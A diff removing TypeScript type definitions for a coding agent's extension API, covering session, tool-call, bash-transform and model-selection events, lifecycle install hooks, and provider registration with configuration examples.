* Context passed to extension event handlers. - */ -export interface ExtensionContext { - /** UI methods for user interaction */ - ui: ExtensionUIContext; - /** Whether UI is available (false in print/RPC mode) */ - hasUI: boolean; - /** Current working directory */ - cwd: string; - /** Session manager (read-only) */ - sessionManager: ReadonlySessionManager; - /** Model registry for API key resolution */ - modelRegistry: ModelRegistry; - /** Current model (may be undefined) */ - model: Model | undefined; - /** Whether the agent is idle (not streaming) */ - isIdle(): boolean; - /** Abort the current agent operation */ - abort(): void; - /** Whether there are queued messages waiting */ - hasPendingMessages(): boolean; - /** Gracefully shutdown pi and exit. Available in all contexts. */ - shutdown(): void; - /** Get current context usage for the active model. */ - getContextUsage(): ContextUsage | undefined; - /** Trigger compaction without awaiting completion. */ - compact(options?: CompactOptions): void; - /** Get the current effective system prompt. */ - getSystemPrompt(): string; - /** - * Request a reload after the current extension event unwinds. - * - * Purpose: let lifecycle hooks react to self-updates without calling the - * command-only reload method directly from inside an event handler. - * - * Consumer: SF self-feedback inline-fix completion. - */ - requestReload(reason?: string): void; -} - -/** - * Extended context for command handlers. - * Includes session control methods only safe in user-initiated commands. - */ -export interface ExtensionCommandContext extends ExtensionContext { - /** Wait for the agent to finish streaming */ - waitForIdle(): Promise; - - /** Start a new session, optionally with initialization. */ - newSession(options?: { - parentSession?: string; - setup?: (sessionManager: SessionManager) => Promise; - }): Promise<{ cancelled: boolean }>; - - /** Fork from a specific entry, creating a new session file. */ - fork(entryId: string): Promise<{ cancelled: boolean }>; - - /** Navigate to a different point in the session tree. */ - navigateTree( - targetId: string, - options?: { - summarize?: boolean; - customInstructions?: string; - replaceInstructions?: boolean; - label?: string; - }, - ): Promise<{ cancelled: boolean }>; - - /** Switch to a different session file. */ - switchSession(sessionPath: string): Promise<{ cancelled: boolean }>; - - /** Reload extensions, skills, prompts, and themes. */ - reload(): Promise; -} - -// ============================================================================ -// Tool Types -// ============================================================================ - -/** Rendering options for tool results */ -export interface ToolRenderResultOptions { - /** Whether the result view is expanded */ - expanded: boolean; - /** Whether this is a partial/streaming result */ - isPartial: boolean; -} - -/** - * Tool compatibility metadata for provider-aware tool filtering (ADR-005 Phase 2). - * Tools without compatibility metadata are assumed universally compatible. - */ -export interface ToolCompatibility { - /** Tool produces image content in results (filtered for providers without imageToolResults) */ - producesImages?: boolean; - /** Tool requires schema features that some providers don't support (e.g., ["patternProperties"]) */ - schemaFeatures?: string[]; - /** Tool is effective only with models above a minimum capability threshold */ - minCapabilityTier?: "light" | "standard" | "heavy"; -} - -/** - * Tool definition for registerTool(). - */ -export interface ToolDefinition< - TParams extends TSchema = TSchema, - TDetails = unknown, -> { - /** Tool name (used in LLM tool calls) */ - name: string; - /** Human-readable label for UI */ - label: string; - /** Description for LLM */ - description: string; - /** Optional one-line snippet for the Available tools section in the default system prompt. Falls back to description when omitted. */ - promptSnippet?: string; - /** Optional guideline bullets appended to the default system prompt Guidelines section when this tool is active. */ - promptGuidelines?: string[]; - /** Parameter schema (TypeBox) */ - parameters: TParams; - /** Provider compatibility metadata (ADR-005). Omit for universally compatible tools. */ - compatibility?: ToolCompatibility; - - /** Execute the tool. */ - execute( - toolCallId: string, - params: Static, - signal: AbortSignal | undefined, - onUpdate: AgentToolUpdateCallback | undefined, - ctx: ExtensionContext, - ): Promise>; - - /** Custom rendering for tool call display */ - renderCall?: (args: Static, theme: Theme) => Component | undefined; - - /** Custom rendering for tool result display */ - renderResult?: ( - result: AgentToolResult, - options: ToolRenderResultOptions, - theme: Theme, - ) => Component | undefined; -} - -// ============================================================================ -// Resource Events -// ============================================================================ - -/** Fired after session_start to allow extensions to provide additional resource paths. */ -export interface ResourcesDiscoverEvent { - type: "resources_discover"; - cwd: string; - reason: "startup" | "reload"; -} - -/** Result from resources_discover event handler */ -export interface ResourcesDiscoverResult { - skillPaths?: string[]; - promptPaths?: string[]; - themePaths?: string[]; -} - -// ============================================================================ -// Session Events -// ============================================================================ - -/** Fired before session manager creation to allow custom session directory resolution */ -export interface SessionDirectoryEvent { - type: "session_directory"; - cwd: string; -} - -/** Fired on initial session load */ -export interface SessionStartEvent { - type: "session_start"; -} - -/** Fired before switching to another session (can be cancelled) */ -export interface SessionBeforeSwitchEvent { - type: "session_before_switch"; - reason: "new" | "resume"; - targetSessionFile?: string; -} - -/** Fired after switching to another session */ -export interface SessionSwitchEvent { - type: "session_switch"; - reason: "new" | "resume"; - previousSessionFile: string | undefined; -} - -/** Fired before forking a session (can be cancelled) */ -export interface SessionBeforeForkEvent { - type: "session_before_fork"; - entryId: string; -} - -/** Fired after forking a session */ -export interface SessionForkEvent { - type: "session_fork"; - previousSessionFile: string | undefined; -} - -/** Fired before context compaction (can be cancelled or customized) */ -export interface SessionBeforeCompactEvent { - type: "session_before_compact"; - preparation: CompactionPreparation; - branchEntries: SessionEntry[]; - customInstructions?: string; - signal: AbortSignal; -} - -/** Fired after context compaction */ -export interface SessionCompactEvent { - type: "session_compact"; - compactionEntry: CompactionEntry; - fromExtension: boolean; -} - -/** Fired on process exit */ -export interface SessionShutdownEvent { - type: "session_shutdown"; -} - -/** Preparation data for tree navigation */ -export interface TreePreparation { - targetId: string; - oldLeafId: string | null; - commonAncestorId: string | null; - entriesToSummarize: SessionEntry[]; - userWantsSummary: boolean; - /** Custom instructions for summarization */ - customInstructions?: string; - /** If true, customInstructions replaces the default prompt instead of being appended */ - replaceInstructions?: boolean; - /** Label to attach to the branch summary entry */ - label?: string; -} - -/** Fired before navigating in the session tree (can be cancelled) */ -export interface SessionBeforeTreeEvent { - type: "session_before_tree"; - preparation: TreePreparation; - signal: AbortSignal; -} - -/** Fired after navigating in the session tree */ -export interface SessionTreeEvent { - type: "session_tree"; - newLeafId: string | null; - oldLeafId: string | null; - summaryEntry?: BranchSummaryEntry; - fromExtension?: boolean; -} - -export type SessionEvent = - | SessionDirectoryEvent - | SessionStartEvent - | SessionBeforeSwitchEvent - | SessionSwitchEvent - | SessionBeforeForkEvent - | SessionForkEvent - | SessionBeforeCompactEvent - | SessionCompactEvent - | SessionShutdownEvent - | SessionBeforeTreeEvent - | SessionTreeEvent; - -// ============================================================================ -// Agent Events -// ============================================================================ - -/** Fired before each LLM call. Can modify messages. */ -export interface ContextEvent { - type: "context"; - messages: AgentMessage[]; -} - -/** Fired before a provider request is sent. Can replace the payload. */ -export interface BeforeProviderRequestEvent { - type: "before_provider_request"; - payload: unknown; - /** The resolved model for this request (provider, id, etc.) */ - model?: { provider: string; id: string }; -} - -/** Fired after user submits prompt but before agent loop. */ -export interface BeforeAgentStartEvent { - type: "before_agent_start"; - prompt: string; - images?: ImageContent[]; - systemPrompt: string; -} - -/** Fired when an agent loop starts */ -export interface AgentStartEvent { - type: "agent_start"; -} - -/** Fired when an agent loop ends */ -export interface AgentEndEvent { - type: "agent_end"; - messages: AgentMessage[]; -} - -/** Fired at the start of each turn */ -export interface TurnStartEvent { - type: "turn_start"; - turnIndex: number; - timestamp: number; -} - -/** Fired at the end of each turn */ -export interface TurnEndEvent { - type: "turn_end"; - turnIndex: number; - message: AgentMessage; - toolResults: ToolResultMessage[]; -} - -/** Fired when a message starts (user, assistant, or toolResult) */ -export interface MessageStartEvent { - type: "message_start"; - message: AgentMessage; -} - -/** Fired during assistant message streaming with token-by-token updates */ -export interface MessageUpdateEvent { - type: "message_update"; - message: AgentMessage; - assistantMessageEvent: AssistantMessageEvent; -} - -/** Fired when a message ends */ -export interface MessageEndEvent { - type: "message_end"; - message: AgentMessage; -} - -/** Fired when a tool starts executing */ -export interface ToolExecutionStartEvent { - type: "tool_execution_start"; - toolCallId: string; - toolName: string; - args: any; -} - -/** Fired during tool execution with partial/streaming output */ -export interface ToolExecutionUpdateEvent { - type: "tool_execution_update"; - toolCallId: string; - toolName: string; - args: any; - partialResult: any; -} - -/** Fired when a tool finishes executing */ -export interface ToolExecutionEndEvent { - type: "tool_execution_end"; - toolCallId: string; - toolName: string; - result: any; - isError: boolean; -} - -// ============================================================================ -// Model Events -// ============================================================================ - -export type ModelSelectSource = "set" | "cycle" | "restore"; - -/** Fired when a new model is selected */ -export interface ModelSelectEvent { - type: "model_select"; - model: Model; - previousModel: Model | undefined; - source: ModelSelectSource; -} - -/** Fired before model selection runs capability scoring. Extensions can override the selected model. */ -export interface BeforeModelSelectEvent { - type: "before_model_select"; - unitType: string; - unitId: string; - classification: { tier: string; reason: string; downgraded: boolean }; - taskMetadata?: Record; - eligibleModels: string[]; - phaseConfig?: { primary: string; fallbacks: string[] }; -} - -/** Result from before_model_select event handler. Return { modelId } to override selection. */ -export interface BeforeModelSelectResult { - modelId: string; -} - -/** - * Fired after model selection to allow extensions to adjust the active tool set (ADR-005 Phase 4). - * Extensions can add, remove, or reorder tools based on the selected model's provider capabilities. - */ -export interface AdjustToolSetEvent { - type: "adjust_tool_set"; - /** The selected model's API type */ - selectedModelApi: string; - /** The selected model's provider */ - selectedModelProvider: string; - /** The selected model ID */ - selectedModelId: string; - /** Current active tool names */ - activeToolNames: string[]; - /** Tools already filtered by provider compatibility */ - filteredTools: string[]; -} - -/** Result from adjust_tool_set event handler. Return { toolNames } to override tool set. */ -export interface AdjustToolSetResult { - /** Replacement tool names. If omitted, the default filtering is used. */ - toolNames?: string[]; -} - -// ============================================================================ -// User Bash Events -// ============================================================================ - -/** - * Fired before the bash tool executes a shell command. - * Extensions can return a transformed command string. - * All registered handlers are called in order; each receives the output of the previous. - */ -export interface BashTransformEvent { - type: "bash_transform"; - /** The command string about to be executed */ - command: string; - /** Current working directory */ - cwd: string; -} - -/** Result from bash_transform event handler */ -export interface BashTransformEventResult { - /** Replacement command string. If omitted or empty, the original command is used. */ - command?: string; -} - -/** Fired when user executes a bash command via ! or !! prefix */ -export interface UserBashEvent { - type: "user_bash"; - /** The command to execute */ - command: string; - /** True if !! prefix was used (excluded from LLM context) */ - excludeFromContext: boolean; - /** Current working directory */ - cwd: string; -} - -// ============================================================================ -// Input Events -// ============================================================================ - -/** Source of user input */ -export type InputSource = "interactive" | "rpc" | "extension"; - -/** Fired when user input is received, before agent processing */ -export interface InputEvent { - type: "input"; - /** The input text */ - text: string; - /** Attached images, if any */ - images?: ImageContent[]; - /** Where the input came from */ - source: InputSource; -} - -/** Result from input event handler */ -export type InputEventResult = - | { action: "continue" } - | { action: "transform"; text: string; images?: ImageContent[] } - | { action: "handled" }; - -// ============================================================================ -// Tool Events -// ============================================================================ - -interface ToolCallEventBase { - type: "tool_call"; - toolCallId: string; -} - -export interface BashToolCallEvent extends ToolCallEventBase { - toolName: "bash"; - input: BashToolInput; -} - -export interface ReadToolCallEvent extends ToolCallEventBase { - toolName: "read"; - input: ReadToolInput; -} - -export interface EditToolCallEvent extends ToolCallEventBase { - toolName: "edit"; - input: EditToolInput; -} - -export interface WriteToolCallEvent extends ToolCallEventBase { - toolName: "write"; - input: WriteToolInput; -} - -export interface GrepToolCallEvent extends ToolCallEventBase { - toolName: "grep"; - input: GrepToolInput; -} - -export interface FindToolCallEvent extends ToolCallEventBase { - toolName: "find"; - input: FindToolInput; -} - -export interface LsToolCallEvent extends ToolCallEventBase { - toolName: "ls"; - input: LsToolInput; -} - -export interface CustomToolCallEvent extends ToolCallEventBase { - toolName: string; - input: Record; -} - -/** Fired before a tool executes. Can block. */ -export type ToolCallEvent = - | BashToolCallEvent - | ReadToolCallEvent - | EditToolCallEvent - | WriteToolCallEvent - | GrepToolCallEvent - | FindToolCallEvent - | LsToolCallEvent - | CustomToolCallEvent; - -interface ToolResultEventBase { - type: "tool_result"; - toolCallId: string; - input: Record; - content: (TextContent | ImageContent)[]; - isError: boolean; -} - -export interface BashToolResultEvent extends ToolResultEventBase { - toolName: "bash"; - details: BashToolDetails | undefined; -} - -export interface ReadToolResultEvent extends ToolResultEventBase { - toolName: "read"; - details: ReadToolDetails | undefined; -} - -export interface EditToolResultEvent extends ToolResultEventBase { - toolName: "edit"; - details: EditToolDetails | undefined; -} - -export interface WriteToolResultEvent extends ToolResultEventBase { - toolName: "write"; - details: undefined; -} - -export interface GrepToolResultEvent extends ToolResultEventBase { - toolName: "grep"; - details: GrepToolDetails | undefined; -} - -export interface FindToolResultEvent extends ToolResultEventBase { - toolName: "find"; - details: FindToolDetails | undefined; -} - -export interface LsToolResultEvent extends ToolResultEventBase { - toolName: "ls"; - details: LsToolDetails | undefined; -} - -export interface CustomToolResultEvent extends ToolResultEventBase { - toolName: string; - details: unknown; -} - -/** Fired after a tool executes. Can modify result. */ -export type ToolResultEvent = - | BashToolResultEvent - | ReadToolResultEvent - | EditToolResultEvent - | WriteToolResultEvent - | GrepToolResultEvent - | FindToolResultEvent - | LsToolResultEvent - | CustomToolResultEvent; - -/** - * Type guard for narrowing ToolResultEvent by tool name. - * - * Built-in tools narrow automatically (no type params needed): - * ```ts - * if (isToolResultEventType("bash", event)) { - * event.details; // BashToolDetails | undefined - * } - * ``` - * - * Custom tools require explicit type parameters: - * ```ts - * if (isToolResultEventType<"my_tool", MyDetails>("my_tool", event)) { - * event.details; // typed - * } - * ``` - */ -export function isToolResultEventType( - toolName: "bash", - event: ToolResultEvent, -): event is BashToolResultEvent; -export function isToolResultEventType( - toolName: "read", - event: ToolResultEvent, -): event is ReadToolResultEvent; -export function isToolResultEventType( - toolName: "edit", - event: ToolResultEvent, -): event is EditToolResultEvent; -export function isToolResultEventType( - toolName: "write", - event: ToolResultEvent, -): event is WriteToolResultEvent; -export function isToolResultEventType( - toolName: "grep", - event: ToolResultEvent, -): event is GrepToolResultEvent; -export function isToolResultEventType( - toolName: "find", - event: ToolResultEvent, -): event is FindToolResultEvent; -export function isToolResultEventType( - toolName: "ls", - event: ToolResultEvent, -): event is LsToolResultEvent; -export function isToolResultEventType( - toolName: TName, - event: ToolResultEvent, -): event is ToolResultEvent & { toolName: TName; details: TDetails }; -export function isToolResultEventType( - toolName: string, - event: ToolResultEvent, -): boolean { - return event.toolName === toolName; -} - -/** - * Type guard for narrowing ToolCallEvent by tool name. - * - * Built-in tools narrow automatically (no type params needed): - * ```ts - * if (isToolCallEventType("bash", event)) { - * event.input.command; // string - * } - * ``` - * - * Custom tools require explicit type parameters: - * ```ts - * if (isToolCallEventType<"my_tool", MyToolInput>("my_tool", event)) { - * event.input.action; // typed - * } - * ``` - * - * Note: Direct narrowing via `event.toolName === "bash"` doesn't work because - * CustomToolCallEvent.toolName is `string` which overlaps with all literals. - */ -export function isToolCallEventType( - toolName: "bash", - event: ToolCallEvent, -): event is BashToolCallEvent; -export function isToolCallEventType( - toolName: "read", - event: ToolCallEvent, -): event is ReadToolCallEvent; -export function isToolCallEventType( - toolName: "edit", - event: ToolCallEvent, -): event is EditToolCallEvent; -export function isToolCallEventType( - toolName: "write", - event: ToolCallEvent, -): event is WriteToolCallEvent; -export function isToolCallEventType( - toolName: "grep", - event: ToolCallEvent, -): event is GrepToolCallEvent; -export function isToolCallEventType( - toolName: "find", - event: ToolCallEvent, -): event is FindToolCallEvent; -export function isToolCallEventType( - toolName: "ls", - event: ToolCallEvent, -): event is LsToolCallEvent; -export function isToolCallEventType< - TName extends string, - TInput extends Record, ->( - toolName: TName, - event: ToolCallEvent, -): event is ToolCallEvent & { toolName: TName; input: TInput }; -export function isToolCallEventType( - toolName: string, - event: ToolCallEvent, -): boolean { - return event.toolName === toolName; -} - -/** Union of all event types */ -export type ExtensionEvent = - | ResourcesDiscoverEvent - | SessionEvent - | ContextEvent - | BeforeProviderRequestEvent - | BeforeAgentStartEvent - | AgentStartEvent - | AgentEndEvent - | TurnStartEvent - | TurnEndEvent - | MessageStartEvent - | MessageUpdateEvent - | MessageEndEvent - | ToolExecutionStartEvent - | ToolExecutionUpdateEvent - | ToolExecutionEndEvent - | ModelSelectEvent - | BashTransformEvent - | UserBashEvent - | InputEvent - | ToolCallEvent - | ToolResultEvent; - -// ============================================================================ -// Event Results -// ============================================================================ - -export interface ContextEventResult { - messages?: AgentMessage[]; -} - -export type BeforeProviderRequestEventResult = unknown; - -export interface ToolCallEventResult { - block?: boolean; - reason?: string; -} - -/** Result from user_bash event handler */ -export interface UserBashEventResult { - /** Custom operations to use for execution */ - operations?: BashOperations; - /** Full replacement: extension handled execution, use this result */ - result?: BashResult; -} - -export interface ToolResultEventResult { - content?: (TextContent | ImageContent)[]; - details?: unknown; - isError?: boolean; -} - -export interface BeforeAgentStartEventResult { - message?: Pick< - CustomMessage, - "customType" | "content" | "display" | "details" - >; - /** Replace the system prompt for this turn. If multiple extensions return this, they are chained. */ - systemPrompt?: string; -} - -export interface SessionDirectoryResult { - /** Custom session directory path. If multiple extensions return this, the last one wins. */ - sessionDir?: string; -} - -/** Special startup-only handler. Unlike other events, this receives no ExtensionContext. */ -export type SessionDirectoryHandler = ( - event: SessionDirectoryEvent, -) => - | Promise - | SessionDirectoryResult - | undefined; - -export interface SessionBeforeSwitchResult { - cancel?: boolean; -} - -export interface SessionBeforeForkResult { - cancel?: boolean; - skipConversationRestore?: boolean; -} - -export interface SessionBeforeCompactResult { - cancel?: boolean; - compaction?: CompactionResult; -} - -export interface SessionBeforeTreeResult { - cancel?: boolean; - summary?: { - summary: string; - details?: unknown; - }; - /** Override custom instructions for summarization */ - customInstructions?: string; - /** Override whether customInstructions replaces the default prompt */ - replaceInstructions?: boolean; - /** Override label to attach to the branch summary entry */ - label?: string; -} - -// ============================================================================ -// Message Rendering -// ============================================================================ - -export interface MessageRenderOptions { - expanded: boolean; -} - -export type MessageRenderer = ( - message: CustomMessage, - options: MessageRenderOptions, - theme: Theme, -) => Component | undefined; - -// ============================================================================ -// Command Registration -// ============================================================================ - -export interface RegisteredCommand { - name: string; - description?: string; - getArgumentCompletions?: ( - argumentPrefix: string, - ) => AutocompleteItem[] | null; - handler: (args: string, ctx: ExtensionCommandContext) => Promise; -} - -export type LifecycleHookScope = "user" | "project"; -export type LifecycleHookPhase = - | "beforeInstall" - | "afterInstall" - | "beforeRemove" - | "afterRemove"; - -export interface LifecycleHookContext { - /** Lifecycle phase currently being executed. */ - phase: LifecycleHookPhase; - /** Package source string passed to install (npm:, git:, https://, local path). */ - source: string; - /** Resolved installed package path (or resolved local path), when available for this phase. */ - installedPath?: string; - /** Where the package was installed. */ - scope: LifecycleHookScope; - /** Current working directory for the install invocation. */ - cwd: string; - /** Whether install is running in an interactive TTY. */ - interactive: boolean; - /** Info-level logging sink for install output. */ - log(message: string): void; - /** Warning-level logging sink for install output. */ - warn(message: string): void; - /** Error-level logging sink for install output. */ - error(message: string): void; -} - -export type LifecycleHookHandler = ( - ctx: LifecycleHookContext, -) => Promise | void; -export type LifecycleHookMap = Record< - LifecycleHookPhase, - LifecycleHookHandler[] ->; - -// ============================================================================ -// Extension API -// ============================================================================ - -/** Handler function type for events */ -export type ExtensionHandler = ( - event: E, - ctx: ExtensionContext, -) => Promise | R | undefined; - -/** - * ExtensionAPI passed to extension factory functions. - */ -export interface ExtensionAPI { - // ========================================================================= - // Event Subscription - // ========================================================================= - - on( - event: "resources_discover", - handler: ExtensionHandler, - ): void; - on(event: "session_directory", handler: SessionDirectoryHandler): void; - on( - event: "session_start", - handler: ExtensionHandler, - ): void; - on( - event: "session_before_switch", - handler: ExtensionHandler< - SessionBeforeSwitchEvent, - SessionBeforeSwitchResult - >, - ): void; - on( - event: "session_switch", - handler: ExtensionHandler, - ): void; - on( - event: "session_before_fork", - handler: ExtensionHandler, - ): void; - on(event: "session_fork", handler: ExtensionHandler): void; - on( - event: "session_before_compact", - handler: ExtensionHandler< - SessionBeforeCompactEvent, - SessionBeforeCompactResult - >, - ): void; - on( - event: "session_compact", - handler: ExtensionHandler, - ): void; - on( - event: "session_shutdown", - handler: ExtensionHandler, - ): void; - on( - event: "session_before_tree", - handler: ExtensionHandler, - ): void; - on(event: "session_tree", handler: ExtensionHandler): void; - on( - event: "context", - handler: ExtensionHandler, - ): void; - on( - event: "before_provider_request", - handler: ExtensionHandler< - BeforeProviderRequestEvent, - BeforeProviderRequestEventResult - >, - ): void; - on( - event: "before_agent_start", - handler: ExtensionHandler< - BeforeAgentStartEvent, - BeforeAgentStartEventResult - >, - ): void; - on(event: "agent_start", handler: ExtensionHandler): void; - on(event: "agent_end", handler: ExtensionHandler): void; - on(event: "turn_start", handler: ExtensionHandler): void; - on(event: "turn_end", handler: ExtensionHandler): void; - on( - event: "message_start", - handler: ExtensionHandler, - ): void; - on( - event: "message_update", - handler: ExtensionHandler, - ): void; - on(event: "message_end", handler: ExtensionHandler): void; - on( - event: "tool_execution_start", - handler: ExtensionHandler, - ): void; - on( - event: "tool_execution_update", - handler: ExtensionHandler, - ): void; - on( - event: "tool_execution_end", - handler: ExtensionHandler, - ): void; - on(event: "model_select", handler: ExtensionHandler): void; - on( - event: "bash_transform", - handler: ExtensionHandler, - ): void; - on( - event: "tool_call", - handler: ExtensionHandler, - ): void; - on( - event: "tool_result", - handler: ExtensionHandler, - ): void; - on( - event: "user_bash", - handler: ExtensionHandler, - ): void; - on( - event: "input", - handler: ExtensionHandler, - ): void; - on( - event: "before_model_select", - handler: ExtensionHandler, - ): void; - on( - event: "adjust_tool_set", - handler: ExtensionHandler, - ): void; - - // ========================================================================= - // Event Emission (for host extensions that orchestrate model selection) - // ========================================================================= - - /** Emit before_model_select event. Returns override model ID or undefined. */ - emitBeforeModelSelect( - event: Omit, - ): Promise; - - /** Emit adjust_tool_set event (ADR-005). Returns override tool names or undefined. */ - emitAdjustToolSet( - event: Omit, - ): Promise; - - // ========================================================================= - // Tool Registration - // ========================================================================= - - /** Register a tool that the LLM can call. */ - registerTool( - tool: ToolDefinition, - ): void; - - /** Unregister a previously registered tool by name. (Recursive Self-Evolution) */ - unregisterTool(name: string): void; - - // ========================================================================= - // Command, Shortcut, Flag Registration - // ========================================================================= - - /** Register a custom command. */ - registerCommand(name: string, options: Omit): void; - - /** Register a lifecycle hook run before package installation starts. */ - registerBeforeInstall(handler: LifecycleHookHandler): void; - - /** Register a lifecycle hook run after package installation completes. */ - registerAfterInstall(handler: LifecycleHookHandler): void; - - /** Register a lifecycle hook run before package removal starts. */ - registerBeforeRemove(handler: LifecycleHookHandler): void; - - /** Register a lifecycle hook run after package removal completes. */ - registerAfterRemove(handler: LifecycleHookHandler): void; - - /** Register a keyboard shortcut. */ - registerShortcut( - shortcut: KeyId, - options: { - description?: string; - handler: (ctx: ExtensionContext) => Promise | void; - }, - ): void; - - /** Register a CLI flag. */ - registerFlag( - name: string, - options: { - description?: string; - type: "boolean" | "string"; - default?: boolean | string; - allowNoValue?: boolean; - onStartup?: ( - value: boolean | string, - context: ExtensionStartupContext, - ) => Promise | void; - }, - ): void; - - /** Get the value of a registered CLI flag. */ - getFlag(name: string): boolean | string | undefined; - - // ========================================================================= - // Message Rendering - // ========================================================================= - - /** Register a custom renderer for CustomMessageEntry. */ - registerMessageRenderer( - customType: string, - renderer: MessageRenderer, - ): void; - - // ========================================================================= - // Actions - // ========================================================================= - - /** Send a custom message to the session. */ - sendMessage( - message: Pick< - CustomMessage, - "customType" | "content" | "display" | "details" - >, - options?: { - triggerTurn?: boolean; - deliverAs?: "steer" | "followUp" | "nextTurn"; - }, - ): Promise; - - /** - * Send a user message to the agent. Always triggers a turn. - * When the agent is streaming, use deliverAs to specify how to queue the message. - */ - sendUserMessage( - content: string | (TextContent | ImageContent)[], - options?: { deliverAs?: "steer" | "followUp" }, - ): void; - - /** - * Retry the last turn by removing the failed assistant response and - * re-running the agent from the last user message. No-op if the last - * message is not an assistant error. - */ - retryLastTurn(): void; - - /** Append a custom entry to the session for state persistence (not sent to LLM). */ - appendEntry(customType: string, data?: T): void; - - // ========================================================================= - // Session Metadata - // ========================================================================= - - /** Set the session display name (shown in session selector). */ - setSessionName(name: string): void; - - /** Get the current session name, if set. */ - getSessionName(): string | undefined; - - /** Set or clear a label on an entry. Labels are user-defined markers for bookmarking/navigation. */ - setLabel(entryId: string, label: string | undefined): void; - - /** Execute a shell command. */ - exec( - command: string, - args: string[], - options?: ExecOptions, - ): Promise; - - /** Get the list of currently active tool names. */ - getActiveTools(): string[]; - - /** Get all configured tools with name and description. */ - getAllTools(): ToolInfo[]; - - /** Set the active tools by name. */ - setActiveTools(toolNames: string[]): void; - - /** Get available slash commands in the current session. */ - getCommands(): SlashCommandInfo[]; - - // ========================================================================= - // Model and Thinking Level - // ========================================================================= - - /** Set the current model. Returns false if no API key available. */ - setModel( - model: Model, - options?: { persist?: boolean }, - ): Promise; - - /** Get current thinking level. */ - getThinkingLevel(): ThinkingLevel; - - /** Set thinking level (clamped to model capabilities). */ - setThinkingLevel(level: ThinkingLevel): void; - - // ========================================================================= - // Provider Registration - // ========================================================================= - - /** - * Register or override a model provider. - * - * If `models` is provided: replaces all existing models for this provider. - * If only `baseUrl` is provided: overrides the URL for existing models. - * If `oauth` is provided: registers OAuth provider for /login support. - * If `streamSimple` is provided: registers a custom API stream handler. - * - * During initial extension load this call is queued and applied once the - * runner has bound its context. After that it takes effect immediately, so - * it is safe to call from command handlers or event callbacks without - * requiring a `/reload`. - * - * @example - * // Register a new provider with custom models - * pi.registerProvider("my-proxy", { - * baseUrl: "https://proxy.example.com", - * apiKey: "PROXY_API_KEY", - * api: "anthropic-messages", - * models: [ - * { - * id: "claude-sonnet-4-20250514", - * name: "Claude 4 Sonnet (proxy)", - * reasoning: false, - * input: ["text", "image"], - * cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - * contextWindow: 200000, - * maxTokens: 16384 - * } - * ] - * }); - * - * @example - * // Override baseUrl for an existing provider - * pi.registerProvider("anthropic", { - * baseUrl: "https://proxy.example.com" - * }); - * - * @example - * // Register provider with OAuth support - * pi.registerProvider("corporate-ai", { - * baseUrl: "https://ai.corp.com", - * api: "openai-responses", - * models: [...], - * oauth: { - * name: "Corporate AI (SSO)", - * async login(callbacks) { ... }, - * async refreshToken(credentials) { ... }, - * getApiKey(credentials) { return credentials.access; } - * } - * }); - */ - registerProvider(name: string, config: ProviderConfig): void; - - /** - * Unregister a previously registered provider. - * - * Removes all models belonging to the named provider and restores any - * built-in models that were overridden by it. Has no effect if the provider - * is not currently registered. - * - * Like `registerProvider`, this takes effect immediately when called after - * the initial load phase. - * - * @example - * pi.unregisterProvider("my-proxy"); - */ - unregisterProvider(name: string): void; - - /** Shared event bus for extension communication. */ - events: EventBus; -} - -// ============================================================================ -// Provider Registration Types -// ============================================================================ - -/** Configuration for registering a provider via pi.registerProvider(). */ -export interface ProviderConfig { - /** Auth behavior for provider availability and request key handling. Defaults to "apiKey". */ - authMode?: "apiKey" | "oauth" | "externalCli" | "none"; - /** Optional readiness check. Return false if the provider cannot accept requests (e.g., CLI not authenticated, API key invalid). - * Called before default auth checks. Trusted at the same level as extension code — extensions already have arbitrary code execution. */ - isReady?: () => boolean; - /** Base URL for the API endpoint. Required when defining models. */ - baseUrl?: string; - /** API key or environment variable name. Required when defining models (unless oauth provided). */ - apiKey?: string; - /** API type. Required at provider or model level when defining models. */ - api?: Api; - /** Optional streamSimple handler for custom APIs. */ - streamSimple?: ( - model: Model, - context: Context, - options?: SimpleStreamOptions, - ) => AssistantMessageEventStream; - /** Custom headers to include in requests. */ - headers?: Record; - /** If true, adds Authorization: Bearer header with the resolved API key. */ - authHeader?: boolean; - /** Models to register. If provided, replaces all existing models for this provider. */ - models?: ProviderModelConfig[]; - /** OAuth provider for /login support. The `id` is set automatically from the provider name. */ - oauth?: { - /** Display name for the provider in login UI. */ - name: string; - /** Run the login flow, return credentials to persist. */ - login(callbacks: OAuthLoginCallbacks): Promise; - /** Refresh expired credentials, return updated credentials to persist. */ - refreshToken(credentials: OAuthCredentials): Promise; - /** Convert credentials to API key string for the provider. */ - getApiKey(credentials: OAuthCredentials): string; - /** Optional: modify models for this provider (e.g., update baseUrl based on credentials). */ - modifyModels?( - models: Model[], - credentials: OAuthCredentials, - ): Model[]; - }; -} - -/** Configuration for a model within a provider. */ -export interface ProviderModelConfig { - /** Model ID (e.g., "claude-sonnet-4-20250514"). */ - id: string; - /** Display name (e.g., "Claude 4 Sonnet"). */ - name: string; - /** API type override for this model. */ - api?: Api; - /** Whether the model supports extended thinking. */ - reasoning: boolean; - /** Supported input types. */ - input: ("text" | "image")[]; - /** Cost per token (for tracking, can be 0). */ - cost: { - input: number; - output: number; - cacheRead: number; - cacheWrite: number; - }; - /** Maximum context window size in tokens. */ - contextWindow: number; - /** Maximum output tokens. */ - maxTokens: number; - /** Custom headers for this model. */ - headers?: Record; - /** OpenAI compatibility settings. */ - compat?: Model["compat"]; - /** Opaque provider-specific options (e.g. Ollama keep_alive, num_gpu). */ - providerOptions?: Record; -} - -/** Extension factory function type. Supports both sync and async initialization. */ -export type ExtensionFactory = (pi: ExtensionAPI) => void | Promise; - -// ============================================================================ -// Loaded Extension Types -// ============================================================================ - -export interface RegisteredTool { - definition: ToolDefinition; - extensionPath: string; -} - -export interface ExtensionFlag { - name: string; - description?: string; - type: "boolean" | "string"; - default?: boolean | string; - allowNoValue?: boolean; - onStartup?: ( - value: boolean | string, - context: ExtensionStartupContext, - ) => Promise | void; - extensionPath: string; -} - -export interface ExtensionStartupContext { - cwd: string; - agentDir: string; - authStorage: AuthStorage; - modelRegistry: ModelRegistry; -} - -export interface ExtensionShortcut { - shortcut: KeyId; - description?: string; - handler: (ctx: ExtensionContext) => Promise | void; - extensionPath: string; -} - -type HandlerFn = (...args: unknown[]) => Promise; - -/** Tool info with name, description, and parameter schema */ -export type ToolInfo = Pick< - ToolDefinition, - "name" | "description" | "parameters" ->; - -/** - * Shared state created by loader, used during registration and runtime. - * Contains flag values (defaults set during registration, CLI values set after). - */ -export interface ExtensionRuntimeState { - flagValues: Map; - /** Provider registrations queued during extension loading, processed when runner binds */ - pendingProviderRegistrations: Array<{ name: string; config: ProviderConfig }>; - /** - 